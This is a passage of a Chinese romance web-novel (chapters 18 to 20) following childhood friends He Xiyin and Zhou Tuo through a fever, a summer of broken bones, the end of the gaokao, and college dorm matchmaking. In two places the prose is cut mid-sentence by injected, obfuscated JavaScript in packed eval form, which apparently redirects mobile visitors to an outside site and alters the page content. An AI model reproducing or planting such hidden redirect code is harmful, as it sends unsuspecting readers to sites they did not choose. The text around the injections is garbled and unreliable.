何希音呆住。 周拓催:“过来推呀。” “啊!周拓是变态!”何希音捂脸逃走。 在这场和周拓比拼谁更不要脸的战争中,何希音输得很彻底,她羞红脸,丢盔卸甲,坐在沙发,两手环胸,独自生闷气。 周拓洗完手,坐在轮椅上。 他叫了两次。 何希音都不理睬。 周拓换了个语调,可怜兮兮的,声音像沾水的棉球湿润黏稠,像淋雨的小狗,细微哀求。 何希音侧目。 他的轮椅停在台阶上。 通往卫生间的地砖高出两个台阶,上台阶容易,下台阶难。他坐在那,动弹不得,他等在那,向她求援。 何希音环胸,不为所动。 周拓说:“大小姐,帮帮我吧。” 何希音慢悠悠地走近:“你叫我什么?” “大小姐。” “我不是你的小跟班吗?” “当然不是。”周拓推着轮椅往后几步,“你是我最重要的人。你看。没有你,我哪里也去不了。” “求我。”何希音扬起脸。 周拓低声:“求你。” “求你帮我。” 18. 绿豆冰沙 何希音做噩梦了。 一个离奇的噩梦。 她梦见自己变成一只人偶,坐在椅子上,睁着好奇的大眼,惊恐地看着眼前熟悉又陌生的房间,房间的摆设没有变,但都很假,塑料化,像娃娃屋。她坐在镜子前,自己的脸充满塑料胶质感,她想伸手摸,却动弹不得,她想大声喊,可发不出一点声音。 她只是坐在那里。 像只人偶。 不对,她就是一只人偶。 一只不会说话,不会动,但有思想的人偶。 “妈!” “爸!” “快来救救我!” “周拓!周拓!我不能动了!” 她挣扎着,椅子却生出绳索紧紧束缚着她。 “希音?”熟悉的声音钻入耳朵。 肩膀好像被人拽着,有人在摇晃她。 光像利剑刺进眼睛。 她被周拓晃醒。 她抬手,摸了摸脸,软软的,肉肉的,是真实的皮肤触感。她又摸床铺,摸周拓,都是真实的。她的脚落下,踩在木地板上跳。 “我能动!” “我能动啦!!” 她又蹦又叫,又惊又喜。 周拓转着轮椅凑近:“你没事吧?” 何希音坐下来,扶着晕乎乎的脑袋,嘿嘿地傻笑着。明知是噩梦,却有种劫后余生的庆幸。 周拓看着她迷离的眼睛,红晕的脸颊,含糊不清的话语,顿感疑惑。抬手贴在她前额,立刻意识到不对劲。 “何希音,你发烧了!” “啊?是么?”何希音摸额头,摸脸。是有点烫。但她没觉得难受,反而挺开心的。 “你先坐。我去找退烧药。” 周拓转着轮椅,拿出医药箱,一盒盒查看。忽然里屋传来扑通一声,他丢下东西,转着轮椅往屋内冲,瞧见何希音上半身趴在床边,下半身坐在地板。 旁边风扇还在呼呼地吹着。 他立即关停。 陈阿姨去超市了,不在家。 周拓顾不得腿伤,站起来,两手抓着她胳膊,将她拉起,扶到床上,何希音浑身都在发烫,脸颊泛红,退烧药可能不顶用,需要马上去医院。 周拓打电话给夏文斌。 幸好今天出版社没什么事,夏文斌提前下班,此刻就在附近,不到十分钟就赶到。他二话不说,拉起何希音背上。 周拓推轮椅跟出来,却被长长的楼梯拦住。 夏文斌说:“你在家待着。我到医院会告诉你的。” “嗯。”周拓停在楼梯口。 周拓给陈阿姨打电话,让陈阿姨快点回来。 他换衣服,坐在凳子上,将轮椅折叠好,左手拄着腋下拐,右手拖着轮椅走出来,锁好门,转身对着长长的楼梯深吸一口气。 他把折叠轮椅放在门边,拄着腋下拐下楼,坐在楼门口前的长凳等陈阿姨回来。 陈阿姨匆匆赶回来:“轮椅呢。” 周拓:“在楼上。你帮我拿下来吧。” 轮椅拿下来,周拓重新坐上轮椅,陈阿姨推着他往外走。或许是他坐轮椅的缘故,几辆计程车远远看到他们先是减速,看清他后立刻加速离开。周拓低着头,看着两条打着厚石膏的腿,无力感再一次席卷而来。 等了二十分钟,有辆计程车停在他们面前。 司机师傅很热心,主动下车帮着把轮椅折叠好,放进后备箱。 “去第一医院。”周拓说。 司机应下:“好的。” 在车上,周拓接到夏文斌的电话,说他们已经到医院了,挂上号了,问题不大,何希音在点滴室打点滴。 “我在路上了。” “没关系。陈阿姨陪我一起。” “我很久没出门了。顺便出门走走。” “对了。”周拓焦急提醒,“希音刚才有摔倒,不知道有没有磕到哪里。最好检查一下吧?” “哦。做过了。” “没事就好。” 挂掉电话,周拓惴惴不安的心稍稍镇定。 ~ 点滴室。 何希音的状态好转不少,坐在点滴室输液,一手扎着针,另一手打着石膏也没影响她刷手机。 “我真是服你。”周拓转着轮椅,坐在她身侧。 何希音倍感意外:“你怎么过来了?” “担心你啊。” “可是你……” “我的腿没事。打车过来的。”周拓伸手,贴上她前额,“还难受吗?” “不难受了。” 话音刚落,何希音前额挨了个结结实实的脑瓜崩。 “周拓真讨厌。” “说过几次风扇别对着吹了?” “哎呀。我睡着了嘛。” “做噩梦了?” 话题突转,何希音有些没反应过来,别扭地‘嗯’了声。 周拓很在意这事。何希音在梦里哭,在梦里喊,他怎么推都不醒,着了魔似的,什么梦能让她这样难受。 何希音难以开口。 或许是这些天在搜骨折相关内容,不停被推送骨折后骨头长歪、石膏缠绕过紧导致肢体缺血性坏死,需要截肢……越刷类似的新闻越多,真实的新闻,伤口的惨状,吓得她好几天没睡着。 要是周拓因此有什么三长两短,她得愧疚一辈子。 “你在担心我?”周拓推测。 何希音不置可否。 周拓乐了:“我是腿骨折。又不是死了。” 何希音捂住他的嘴:“呸呸呸。”她往地上呸,又瞪周拓,非常严肃的,“不许胡说。抬头三尺有神明。再乱说……我就……” “怎样?” “就不理你啦!” 周拓撇嘴:“我要怎么证明真的没事?起来跳段舞?” 何希音噗嗤笑开,周拓拧眉瘪嘴,五官愁得像苦瓜,她脑海里却脑补出他扭腰扭臀的样子。周拓身材这么好,又肯学,要是真跳舞也会好看的吧。 她仰着头,被想象的情景逗乐。 周拓喊停:“绝无可能。” “真的吗?”何希音好失望。 周拓摇头:“不可能。” 何希音来得着急,只穿着背心裙,医院的空调温度低,手臂竖起鸡皮疙瘩,她的手掌贴着手臂搓了搓。 周拓注意到,弯腰从轮椅后面的袋子里拿出一件外套。 “穿上吧。” “还是你最好!”何希音穿上。 周拓笑:“那就不要做让我担心的事。” 何希音穿上衣服,摸到口袋里竟然有几张彩纸。 她拿出来:“什么时候放进去的?” 周拓接过,从旁边的桌子上拿笔在彩纸上写字。 何希音凑近:“你写什么呢。” 周拓放慢速度,一笔一划地写给她看—— ‘何希音。快点好起来吧。’ 何希音转头看吊瓶:“马上打完了。” 再转头,那张纸已经被叠成纸鹤,周拓叠完最后一步,伸长手,把纸鹤放在她头顶。 “顶鹤。顶鹤。”周拓用方言说,“依定鹤(一定好)。” 何希音无语:“什么烂梗。” 点滴结束,夏文斌提来两份煎饼:“饿不饿?要不要补充点?” “好呀。”何希音伸手。 周拓道谢:“谢谢夏叔叔。” 夏文斌分别给出:“周拓的加鸡加肉松。希音的加肠加蛋不要香菜。” “Bingo!”何希音咬着酥脆的煎饼,眼睛滴溜溜地转。八月盛夏,夏文斌被她下楼,在医院忙前忙后,背后湿了一大片。他记得周拓的喜好,记得她的喜好,在她需要的第一时间回家。 何希音咬着煎饼,只觉得眼眶温温的。 陈阿姨走过来:“晚上可能要晚点开饭了。还是我们出去吃?” 周拓这才发现她提着超市的购物袋:“出去吃吧。” 夏文斌接过袋子:“晚上来我家吃。我做饭。” 陈阿姨推辞:“这怎么好意思。” “没事。” “那我给你打下手。” “好。” ~ 回程时,夏文斌再三叮嘱何希音的两只手要放在腿上,不要压到。确认她系好安全带,坐好了,他才绕到前排的副驾驶落座。 坐在后座,何希音想到来时,夏文斌陪她坐在后排,帮她系安全带,反复确认她哪里不舒服,问她有没有头晕,问她有没有恶心想吐。 夏文斌的性子温吞,做事细致,也慢慢的。她第一次见到他如此着急,甚至有些乱了方寸。在医院,护士问他是何希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323636|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音的爸爸吗?他顿了顿说他是。 爸爸这个称呼代表的不止是一种关系,也是一种认可。夏文斌和何乐仪结婚两年了,对何希音很好,但她一直没有改口。她认可夏文斌是何乐仪的丈夫,但不认可他作为自己的爸爸。 在今天之前,她的爸爸只有牧辽。 夏文斌扭头:“家里冰箱还有一只鸭子。做冬瓜鸭汤可以吗?还是要排骨汤?” “都行。”何希音耸肩,“你决定吧。爸。” 夏文斌愣了一下。 旁边两人也转头看过来。 何希音依旧是那样表情冷淡的,有些酷,努力装作很平常地说:“爸。” 夏文斌点头:“好。那我做冬瓜鸭汤吧。” “刚刚医生说你有牙痕,湿气有些重了。冬瓜鸭汤健脾化湿、祛暑除热。你妈也喜欢这个。就做这个吧。”夏文斌絮絮叨叨地说着,尽力掩饰惊喜导致的语无伦次。 何希音抬头。 后视镜将车内每个人都照得清清楚楚。 夏文斌偏头,看向窗外,嘴角勾着,微微颤抖,他拿下眼镜,用布擦拭,重新戴上的时候,指背偷偷擦过眼角。 何希音叫这一声。 不止是因为今天,因为他对她的每一天。 — 两个人行动受限,只能困在房间,时间仿佛按下慢速键,过得很慢很慢。 暑假作业写完了,假期竟然还有一半。 何希音画上作文句号,抬高手伸懒腰:“写完啦!我的作业都写完啦!” “周拓,你呢?” 周拓努嘴,示意她看桌角。 他的练习册整整齐齐地码在桌角。 “早写完了。”他说。 何希音长‘嘁’:“你当然写得快了,你的手又没骨折。” “我没和你比谁写得快。” “哼。” “你在干嘛?”何希音好奇。 周拓拿着那张纸很久了,这几天他都在低头贴纸,她还以为他是在写作业,现在凑近看,发现他竟然在贴造景贴纸。 再看桌面,他已经贴好十几张了。 “你怎么也贴这个了?” “学你。” “哟。”何希音忽然来了兴趣,尖声细语,“你也有学我的一天。” 周拓的工具比她齐全,直钩镊子、弯钩镊子、刮板、笔刀,连软胶底板都买了。也对,他做什么都很认真,都要做到最好的。 何希音欣赏他的造景贴纸。 周拓的造景特别细致,底图背景他没有用现成的,是用十几种纸胶带粘贴出来的。 好熟悉的背景。 何希音盯着看。 “这是电影里的海滩!” “是。” 上周,高考成绩出来了,乔喻考上理想的大学,社团同学组织聚会,庆祝他考上大学,也是他的送别宴。聚会结束,乔喻送她回家,经过影院,看到宣传屏上的海报,何希音想看,乔喻刚好有时间。两个人就一起去看了。 电影是在夏宜市拍的,两个人一边看电影,一边找主角去了哪些地方。 主角在海边相遇,也在海边告白。 延长的海岸线,一望无际的蔚蓝大海,细软的黄金沙滩,细碎的贝壳,时不时冒出头的招手蟹。 电影把夏宜市的海滩拍得很美。 电影结束,何希音还沉浸在其中,好多天走不出那个场景,对着周拓不停发出感慨:“好想去海边啊!” 可惜,这个暑假他们没有办法去海边。 但周拓用纸胶带粘出了海滩,粘出了蓝天白云。她趴在桌边,贴在海螺贴纸,听着他拿着刻刀在贴纸上滑动,细微的震动,透过木板再传到她耳朵,像海浪的声音。 “周拓。你贴的真好。” 周拓的眸色却沉了些。 “知道贴纸要贴好最重要的步骤是什么吗?” “是什么?” “顺序。” 周拓拿出几张贴坏的:“顺序不对就会乱成一团。” “是啊。我知道呀。”何希音坐直,拿过一张没贴的,“我可注意顺序了。毕竟这东西只能贴一次。” “像这种重要的大背景,大块贴纸一定是在下面的。”她说。 周拓眸色又暗下去:“是啊。先出现的却成了背景。” 19. 绿豆冰沙 夏天好热,但周拓好冷。 小时候觉得他早熟,说话做事像个看尽世事的老头。现在觉得他像小孩,还在幼儿园叛逆期的那种。 他最近在耍酷扮阴郁。 坐在阳台,捧着本《北岛诗选》,抬头四十五度角仰望天空。那造型,那哀怨的眼眸,特别像那些年非主流空间的背景。 和她当年的空间背景阴郁男只差一条白色围巾。 何希音这么想着。 周拓像是能听到她心声,转着轮椅,去房间拿出蒋素的防晒披肩,折叠几次,围在脖子上。 他转到晒台继续对着阳光扮深沉。 何希音看不下去,扯掉纱巾:“大夏天的你这是干嘛?” 周拓抢回来:“我的心在下雪。” “啊?”何希音伸手摸他前额,温度正常,没发烧,但他的样子比病了还可怕,光天化日朗朗乾坤,大好光景,他却像朵萎靡枯萎的娇花,“周拓。你抑郁了?” 周拓无言,脸色阴沉沉的,眼眸充斥着无语和哀怨。 何希音坐下,抽出他手里的诗集,随便翻了几页。字字句句皆是愁,像浸水的厚棉衣,穿着冷,脱了也冷。 周拓说过他喜欢数学,因为数学的答案是确定的。而文学不是。他执着又好胜,任何事都要做到极致,做到完美,但面对没有答案的事物,他会无从下手,他会抓狂,会崩溃。 不喜欢,所以很少看。 周拓竟然捧着诗集在看。 简直是天下奇闻。 何希音觉得他是被骨折折磨得脑子不正常了,整个暑假憋在屋里憋疯了。 她直言:“周拓。我带你出去走走吧?” “算了。”这两个月,出门对周拓是奢望也是羞耻,轮椅笨重,行动不便,转到哪里都有人盯着他看,那好奇的眼神带着同情,带着困惑,带着叹惜。他对出门从渴望变成了害怕,但得知何希音和乔喻去看电影以后,他更难受,“等拆石膏再说吧。” “好呀。”何希音应允。 她想起饼干盒里的许愿卡。 那是她送给周拓的生日礼物,周拓什么都不缺,每年生日她送的都是乐高积木,有一年她突发奇想地送他一沓许愿卡。 她说:“一张卡代表一次许愿。周拓可以要求何希音陪他去做一件事。” 周拓问:“什么事都行?” 她敲他脑袋:“当然不是!这叫许愿卡。你许愿,但能不能完成在我。” 或许是因为这句,周拓从没使用过。 “周拓。你的许愿卡是不是一张都没用?” 周拓耸肩:“我想不到有什么可用的。” 何希音指着远方的蓝天,指着海的方向:“等夏天结束,我们去海边吧!” “可以。”他点头。 “这是你的许愿吗?”何希音问。 周拓歪头:“这不是你想去的吗?” “你不想去吗!海滩多美啊!不值得你消耗掉一张许愿卡吗!”何希音尖声。 在周拓听来,带着些许威胁。 他说:“行。你的心愿就是我的。” 他转去房间,找出饼干盒,拿出一张许愿卡:“我希望何希音陪我去海边。” 何希音接下:“ok~那本小姐就大发慈悲接受你的许愿吧。” 他的许愿卡用了,她也答应了。 两人的伤口却不答应。 即使两个人折满九十九只纸鹤,许愿快些痊愈,可惜在暑期结束那天,在暑气消散之前,周拓的石膏还没拆去,海滩游玩计划就此搁浅。 “悲伤。夏天都要结束了。我还没去海边。”何希音坐在晒台,对着吱呀作响的风扇嗷嗷喊,发泄她的不满。 十七岁的暑假要过去了,最后一个未成年的暑假要结束了。 她做了很多事,又好像什么都没做,她刷完四本练习题,叠了一兜子的纸鹤,但没有去她心心念念的海滩,没有感受阳光雨露。 “周拓。我要成年了。” 周拓打断:“还有半年。” 何希音往后倒,躺在地板上,两手都抬起,遮挡在眼前,遮住头顶的烈日。明亮的日光穿透指缝,落在她脸上,她眯着眼,噘着嘴,有满腹的委屈要诉说。 周拓抬手替她遮挡住刺目的阳光。 他安慰:“你还小。” “我不小了。”何希音鼓着嘴。 “时间很多,夏天也很多,你想做什么都有机会,都来得及。” “真的吗?” “真的。” “周拓,明年这个时间,我们会在干嘛?” “领录取通知书。” “好快呀。”何希音感叹,“要高三了呢。要高考了呢。要毕业了呢。” “你高考结束后有什么想做的吗?”他侧目。 何希音闭着眼思考。 许久,她才说:“我要补觉。睡上三天三夜。谁也休想吵醒我!” “三天之后呢?” “继续睡。” 周拓嗤笑:“你是瞌睡虫吗?” “那个暑假又没事。我肯定会考上夏宜大学政法系。没有作业,没有烦恼。除了补觉还能干嘛?” 何希音鲤鱼打挺地坐正:“你呢?你想干嘛?” 周拓陷入沉思。 “可能会说一些以前没说过,不敢说的话。” “喔?!”何希音睁大双眼,张开的手掌贴在耳朵,像个大喇叭,扭着腰,挪着屁股,往他身边靠,耳朵凑上去,“你还有不敢说的?快。说来给本小姐听听。” 周拓清嗓:“我觉得你很好看。” 何希音脸颊涨红。周拓不是开玩笑的语气,说得严肃认真。 她锤他:“少来。” 周拓说:“我还没说完。” “你说。” “你笑起来很可爱。” 何希音明白了,他这是故意逗她呢,想看她害羞,看她会不会自恋地承认。他还真的猜中了,她会承认。 何希音两手叉腰:“没错。本小姐就是全宇宙第一可爱。” 她两手都拢在耳朵:“请不要吝啬地继续夸我!” “啧。”周拓嘘声,“其他的留到毕业那天再说。” “嘁。真小气啊。周拓。” “小气鬼是周拓。” “周拓是小气鬼。” “何希音是幼稚鬼。” “啊!夏天要结束了。幼稚鬼和小气鬼都不开心。” “夏天还会来的。” — 夏天还会来。 下一次见面,就是在何希音成年那天,在高考结束那天。 那天,天气很热,阳光明媚,考试结束铃响彻校园,何希音交完卷,在座位上坐了很久很久。 她真的熬到高考结束这天了。 一年前的夏天,她哭着写下信件,打着石膏在医院期待晴天,坐在影院想要去海边。 如今随着上交的试卷,这些好像都离开很远很远了。 她跟着人群下楼去备考室整理书包。 同学们聚在一起,有的在对答案,有的在讨论要去哪里玩,有的在互相签名交换同学录。 她在徐子欣的校服上签下名字,在旁边画上小爱心。 “呜。要毕业了。”大大咧咧的徐子欣哭起来也格外用力,豆大的眼泪啪嗒啪嗒掉,丝毫不顾形象,抱着何希音狂哭,好像世界末日来临。 何希音拍她后背。 她的眼泪被徐子欣的鼻涕泡给憋回去。 “哈哈哈。”何希音递纸,递镜子,“你真该看看你现在的样子。” 徐子欣擦干净:“我擦完脸还是全世界最美的女子。”她拿着镜子左瞧右看,“镜子镜子,你说是不是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323637|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是的。你是全世界第一美。”孙舟凑近,贴在镜子后,声音幽幽的,故意模仿机械音。 听着怪渗人的。 徐子欣收镜子,拿书卷成筒敲在他头顶:“笨蛋。走开!” 孙舟也不恼,拉过凳子,反着坐:“明天要不要一起去游乐园?” 何希音婉拒:“我要在家补觉。” 徐子欣打哈欠:“我也是。我这两天紧张得睡不着。梦里都在背单词。我不行了。我要回去睡觉。” 孙舟改口:“那换个时间。下周三?给你们三天,够睡了吧。” 徐子欣问:“还有谁要去?” 孙舟细数:“我、老大,我们宿舍的。我还要叫六班的几个女生。你们都认识的。” “周拓也去啊?”何希音有些惊讶,周拓不喜欢游乐场,每次去,都是她拖着他去。 孙舟指着何希音:“你去。他就会去了啊。” 徐子欣话锋突转:“喂。说真的。希音。你和周拓认识那么多年。你对他……只是朋友?” “你想问什么?” “就……你们那么熟。周拓也挺好的……”徐子欣不知道怎么说。 孙舟比她更神经大条,非常直接,丝毫没有给何希音留任何回旋的余地:“老大超级好啊。长得帅,成绩好。对你那更是没话说。你难道没有一点喜欢他吗?” 何希音吓成结巴:“你……你说什么!” 孙舟摊手:“无所谓吧。都毕业了啊。” 徐子欣捧着脑袋,盯着她。 两个好奇宝宝就这么睁大眼睛,布灵布灵地,像两对大铜铃,但两个人的嘴巴也和喇叭差不多。 何希音坚决否认:“没有。” “我和周拓那是多年的兄弟感情。”她拍胸脯,甚至举着三根手指起誓,“我俩纯友谊。他就是脱光了,站在我的面前,我绝对是眼不眨,心不跳。” “你想看我脱光?”周拓阴冷的声音冷不丁在背后出现。 何希音汗毛竖立,背脊冷汗阵阵往外冒,吓得不敢回头。 周拓绕到她面前坐下:“我听听。你准备如何评价我。” 何希音锤他肩膀:“拓哥。咱俩那可是多年的铁哥们。对吧?” “噢。数学笔记。还给你。”她归还笔记,“好啦。好啦。回家啦。我要饿晕了。周叔叔说今天他要做大餐,邀请我了呢。快点回去吧。” 两人一前一后地走在校道上。 何希音停下等他。 “周拓。” “干嘛?” “你是不是有话和我说?” 周拓愣了下,手摸后颈:“什么话?” 何希音叉腰:“夸我的话啊!” 她提醒:“你忘了。一年前,在你家晒台,你还打着石膏。你说有很多不敢说的,准备夸我的。” “高考结束啦!请尽情夸奖我!” 周拓鼓掌,语气却极尽敷衍:“你最棒。你最好。” “嘁。你还是如此无趣。” “第一天认识我?” “嘁。嘁。嘁。” 两人并肩往前,路过高考心愿榜,这个超大的宣传板上是每个高三生写下的理想院校,周拓的字迹很好认,写在很显眼的位置。 他的第一志愿是京大的数学系。 他会考上的。 何希音相信。 两人的志愿不同,要去不同的城市上学。 何希音忽然攥拳,伸出拳头:“周拓。就算我们以后不在一个学校,不在一个城市,我们还是……好兄弟……对吧?” 周拓攥着拳,却没有和她碰拳。 而是顿了一会,松开拳头,抬手,落在她头顶,非常轻,非常轻。 何希音缩了缩脖子。 下一秒,刘海就被他揉成杂草。 他闷声:“嗯。” 20. 橘子冰酿 高考成绩和两人预估的差不多,何希音顺利录取夏宜大学法律系,周拓如愿去了京大数学系。 夏宜大学的军训严苛,新生提前三周报道。人人都讨厌的军训成了室友间的共同话题,让她们很快破冰,每天训练回来,几人都累得抬不起胳膊,迅速洗漱,躺在床上聊天,祈祷下雨。 室友的手机循环播放《雨一直下》。 全寝都跟着唱。 何希音翻看天气,明天又是一个艳阳天。 “希音。你的快递。我帮你拿回来了。”陈以琳忽然想起来,翻身下床,从桌底拖出纸箱。 中午何希音去食堂,帮她带饭,陈以琳帮她取快递。两人分头行动。但吃完饭,紧急集合的广播响起,几人冲下楼,下午训练结束,累得脑子都转不动了,自然不记得快递的事。 “感恩!我都忘记有快递了!”何希音下床,拿刀划开快递盒,里面是一盒牛舌饼,京北寄来的,周拓寄来的。 前几天,她刷到推荐,和周拓提起,问他有没有吃过? 周拓说那家店在学校附近,排队人很多,忙着军训还没机会去。 今天她就收到一盒了。 随饼寄来的还有只雨天娃娃。 她拍照发给周拓说收到了。 [希希大王]:这个雨天娃娃你有用吗? [Tz]:照片.jpg [Tz]:挂在宿舍窗户上 [希希大王]:有用吗? [Tz]:今天依然是晴空万里 [希希大王]:??? [希希大王]:那你还寄给我?! [希希大王]:你不会是想把这个霉运寄给我吧? [Tz]:有用最好,没用就和我一起受苦 [希希大王]:我真是谢谢你了 [Tz]:不客气 [Tz]:大家兄弟一场,有福同享,有难同当 陈以琳不怀好意地凑近:“和谁聊呢。嘴角都裂到太阳穴了。” 何希音手机反盖,支支吾吾的。 这个问题像石子投湖,瞬间激起无数涟漪。室友纷纷撑起身子,探出脑袋,眼睛燃起熊熊八卦烈火。 “就……我同学。”何希音挠脸。 “男同学?” “嗯。” “对你真好。寄这么大一盒饼!”陈以琳指着盒子,言之凿凿,“他肯定是喜欢你。” “你们熟吗?高中同学?” “熟。小学、初中、高中都是一个学校的。我俩的爸爸认识。小时候住邻居。” “我去。”陈以琳更震惊,“这不是标准的青梅竹马吗?” 何希音抿唇沉默了。 陈以琳眯眼:“你喜欢他吗?” “呃……”何希音语塞,不知如何回答。或许是室友不认识周拓,没有重叠的朋友圈,她坦然不少,没有着急反驳,也没有太过紧张,是一阵默认般的沉默。 “哇。”陈以琳叫开,“他知道吗?” “知道个屁。他是呆瓜。”何希音吐槽,“他说我俩是好兄弟。” “可能是不好意思。”陈以琳分析。 其他室友下床围坐到桌边,七嘴八舌地加入讨论。 “你们太熟了。他怕戳破会尴尬吧?” “拜托,他是男生哎。他不说,难道要希音说吗?” “他不会是在养鱼吧!” 三人想到这个点,不约而同地看向何希音。 何希音摇头:“他的脑子只有学习和成绩。他在京大数学系。” 陈以琳抱拳:“失敬失敬。” 陈以琳眼睛一转,忽然有了主意。 “旁敲侧击激他一下。” “什么意思?”何希音捧着脸,坐得板正,像个好奇的小学生。另外两个室友一个懵圈,一个佩服。 “你有男朋友吗?”高慧婷问。 “没有。”陈以琳心虚地咽唾沫,“但我做僚机的经验可是相当丰富。成功率百分百。” “百分百?”高慧婷追问,“你撮合成几对啊?” “一对。”陈以琳非常自信。 “才一对!”高慧婷捂着肚子笑,“这么个百分百。” 陈以琳拍胸脯:“撮合一对成一对,你就说是不是百分百成功吧。”她挽着何希音的手臂,“你相信我嘛。我真的行。招不在多,管用就行。” “这句话是这么说的吗?”何希音疑惑。 陈以琳清了清嗓子,忽然起立,两手背在身后,开始传授她的‘恋爱’心得:“你们是同学又是邻居,你认识的人,他也认识。你有没有男生追,你拒绝了谁,他都清楚。所以你俩是处于一种舒适圈。谁也不想开这个口。万一打破平衡,没有得到想要的结果,就会很难受。” “我说的对不对?”陈以琳眨眼。 何希音咽唾沫,背后冷汗淋漓。陈以琳说的确实是她的心声。她很怕打破和周拓的关系却没有得到想要的结果。她和周拓太熟了,以至于不敢开口,连旁敲侧击都不愿意。她不想赌那个如果。 她和陈以琳才认识一周。 她怎么知道的? 何希音瞪着好奇的大眼睛。 陈以琳读懂了:“看吧。我就说我经验丰富了。嗐。都这样。我那朋友也是你这情况。” “然后呢?”高慧婷问,“你怎么撮合的?” “我和那个男生说有个帅哥在追我朋友,我朋友也觉得那个帅哥人不错,高考结束了嘛,可以恋爱了,谁不想找个帅哥恋爱呢。那个男生很快就和我朋友表白了。他俩就在一起了。嘻嘻。”陈以琳继续分析,“不想开口,但要打破这种平衡,就只能依靠外来因素了。” “你俩那么多同学,有没有那种和你俩都熟的?” “呃……算有吧。”何希音思来想去,符合的只有孙舟。学校很多人都认识周拓,但周拓对他们并没有兴趣,两人看似朋友圈重叠,其实只有孙舟这个大喇叭。 “那你让共友……” “这是万万不可的啊!”何希音打断,“这是个大喇叭!他能把好事办成坏事。” “你俩同学那么多年就这一个共友?!”陈以琳难以置信。 何希音点头:“我就说他脑子只有学习了嘛。” 陈以琳拍她肩膀,半安慰半鼓励的:“那你就只能自己上了。” “啊?”何希音憋红脸,“我就是不想先说啊。” 陈以琳摇头:“不需要你说。你就和他聊你的大学生活呗。说自己认识了新的朋友。悄悄透露有人在追你呗。” “可是现在没有人追我。” “你傻啊!”陈以琳恨铁不成钢,“你说有就是有。他又不是我们学校的,他知道个屁。你们现在不在一个学校,他会有种未知的恐惧,会有危机感。哎呀。你试试嘛。试试又不亏。” 高慧婷笑:“你怎么比她还着急。” 陈以琳承认:“看人谈恋爱最有意思啦。” — 计划有了,但何希音不知道如何实施。 她不会撒谎,要说谎必须先说服自己相信这个故事。这段时间,她一直在观察班上的男生,这个不够帅,那个总喜欢和她对着干,总之,每个人好像都有点问题,不适合被编进她的故事。 这才刚开学。 认识一个月,大学又没有固定座位,谁认识谁啊,周拓那么聪明,怎么会相信她如此拙劣的谎言,这不是搬起石头砸自己的脚吗? 何希音两手捧着下颌,望着夜空发呆。 陈以琳走过来,手搭在她肩膀:“你怎么想的?有没有按我说的做的呀?” “才刚开学!” “哪有。明天就要期中考了!” “呃……那也短啊。” “不短了。咱们班有一对正在恋爱的。” “噢。我有主意了。”陈以琳拿出手机,在各个聊天窗口翻。 “你又想到什么了?” “我有个图。”陈以琳转发给她,握着她的手,把手机屏幕拉远,“你看到什么了?” 图片上是无数英文字母,排列混乱,没有规律,密密麻麻的,一行又一行。但字母的颜色有深有浅,拿远了,在某个特定角度,可以隐隐约约看到‘我喜欢你’四个字。 “这有什么用?”何希音不解。 陈以琳说:“你发给他。” “你就说是班上男生或者社团的学长发的。发给你的人说这个图片很有意思,聪明人才能看出其中的意思。你看了半天看不出来,你觉得他聪明,所以发给他,看他懂不懂。” “然后呢?”何希音又问。 陈以琳敲她脑袋:“然后他就会着急了啊!” “万一他看不懂呢?” “怎么可能!”陈以琳撇嘴,“这还能比考京大难?!” “你发嘛。你发嘛。”陈以琳在旁边撺掇。 何希音转发了。她也好奇周拓会怎么回,但她没有把大学同学编排进故事,而是假借乔喻的名义。 [希希大王]:这是乔喻发给我的 陈以琳说:“你多发两句啊!” 要撒谎,何希音心虚的很,生怕多说一句就会露馅。 [希希大王]:这是一个测试题,测试智商的,看你能不能看出图片上的字 [Tz]:你看不出来吗? [希希大王]:看不出来 [希希大王]:我要是看出来就不会问你了啊! [希希大王]:你呢?你看出来了吗? 聊天界面显示:对方正在输入…… 但过了好一会,周拓才回。 [Tz]:看不出来 陈以琳抓狂大叫:“怎么可能!他输入那么久了!怎么可能看不出来!啊啊啊!这个人怎么回事!” 何希音问:“现在怎么办?” 陈以琳摸着下颌:“你就回‘那我去问问别人好了’。” [希希大王]:那我去问问别人好了 [Tz]:他为什么发给你这个? 陈以琳抓住她肩膀:“哇。有戏。” [希希大王]:没为什么,一个智力测验罢了 [Tz]:挺无聊的 [希希大王]:…… [希希大王]:确实有点无聊 何希音顿时没了心情。陈以琳说的是她朋友的状况,也许并不适用于她和周拓,周拓的脑子才没这么多弯弯绕绕,他不会想到何希音想测试他,也领悟不到她的纠结和小心思。 测来测去,只是给自己徒增烦恼。 “他觉得我俩只是好朋友吧。”何希音泄气。 陈以琳却铆足劲地加油打气:“别气馁啊!可能是这个方法太直接了?我们应该循序渐进。” “什么意思?” “就是你常在他面前提这个学长。增加学长的存在感。”陈以琳仔细分析,“你想啊。你如果直白说学长在追你。他肯定会问,那你喜欢他吗?你要怎么回答。回答不喜欢,你俩就还是这种平衡状态,回答喜欢,也很奇怪。对吧?” “所以?”何希音挑眉。 陈以琳答:“所以你要慢慢渗透这种危机感。” — 这句话像有魔力,日日夜夜萦绕于耳。 可能想知道周拓是怎么想的。 也可能是单纯的不甘心。 这个无聊的测试还在继续,何希音时不时提起乔喻,周拓的反应很平常,谈论乔喻和谈论孙舟都是一样的态度,在他眼里只是换了个人罢了。 